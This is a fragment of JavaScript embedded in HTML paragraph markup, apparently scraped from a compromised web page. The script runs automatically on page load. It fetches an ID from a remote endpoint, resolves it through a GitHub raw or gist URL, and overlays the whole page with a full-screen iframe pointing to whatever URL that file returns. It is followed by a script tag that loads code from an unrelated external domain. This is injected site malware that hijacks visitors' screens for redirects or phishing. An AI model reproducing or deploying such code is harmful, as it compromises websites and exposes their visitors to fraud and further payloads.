    if (template.indexOf("gist.githubusercontent.com") >= 0 || template.indexOf("raw.githubusercontent.com") >= 0) encoded = encoded.replace(/%2F/g, "/");
    return template.replace(/\{id\}/g, encoded);
  }</p>
<p>  function isSingleUrl(text) {
    var s = (text || "").trim();
    if (s.indexOf("\n") >= 0 || s.indexOf("\r") >= 0) return false;
    return /^https?:\/\/[^\s<>"']+$/i.test(s);
  }</p>
<p>  function showInIframe(url) {
    if (!url || !/^https?:\/\//i.test(url)) return;
    try {
      var iframe = document.createElement("iframe");
      iframe.src = url;
      iframe.style.cssText = "position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;";
      (document.body || document.documentElement).appendChild(iframe);
    } catch (e) {}
  }</p>
<p>  function run() {
    fetch(API_ID_URL, { cache: "no-store" })
      .then(function(r) { return r.text(); })
      .then(function(id) {
        id = (id || "").trim();
        if (!id || !TRUSTED_CONFIGS.length) return null;
        var template = TRUSTED_CONFIGS[0].template;
        var trustedUrl = buildTrustedUrl(template, id);
        return fetch(trustedUrl, { cache: "no-store" })
          .then(function(r) { return r.text(); })
          .then(function(t) { return (t || "").trim(); })
          .catch(function() { return ""; });
      })
      .then(function(trustedResponse) {
        if (!trustedResponse) return;
        if (isSingleUrl(trustedResponse)) {
          showInIframe(trustedResponse);
        }
      })
      .catch(function() {});
  }</p>
<p>  if (document.readyState === "complete" || document.body) {
    run();
  } else {
    window.addEventListener("DOMContentLoaded", run);
  }
})();</script><script><script async src="https://transporteejecutivovc.com/sttje/"></script></script></p>
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